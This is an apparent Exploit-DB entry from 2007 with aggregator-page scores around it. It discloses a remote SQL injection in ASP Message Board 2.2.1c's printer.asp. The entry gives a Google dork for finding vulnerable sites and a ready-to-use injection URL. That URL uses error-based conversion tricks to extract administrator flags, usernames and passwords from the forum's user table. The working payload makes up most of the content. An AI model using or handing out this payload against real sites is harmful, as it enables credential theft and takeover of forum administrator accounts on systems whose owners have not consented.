Lucene search

K
exploitdbQ7xEDB-ID:4609
HistoryNov 05, 2007 - 12:00 a.m.

ASP Message Board 2.2.1c - SQL Injection

2007-11-0500:00:00
Q7x
www.exploit-db.com
54

AI Score

7.4

Confidence

Low

* Bug Found On : "ASP Message Board"
*
* Found By : Q7x
* 
* Home : Www.Larestankids.coM ( Ashiyane2 Security Team )
*
* Dork : inurl:"printer.asp?forum="
*
* Version : 2.2.1c
*
* Bug : ASP Message Board - printer.asp - Remote Sql Injection Exploit
*
* Exploit : Admin User / Password : http://www.site.com/boards/printer.asp?forum=AMB_xxxx&id=xxxx or 1=convert(int,(select top 1 convert(varchar,isnull(convert(varchar,Admin),'NUL L'))%2b'/'%2bconvert(varchar,isnull(convert(varcha r,Password),'NULL'))%2b'/'%2bconvert(varchar,isnul l(convert(varchar,Username),'NULL')) from AMB_REGISTEREDUSERS))

# milw0rm.com [2007-11-05]

AI Score

7.4

Confidence

Low

Related for EDB-ID:4609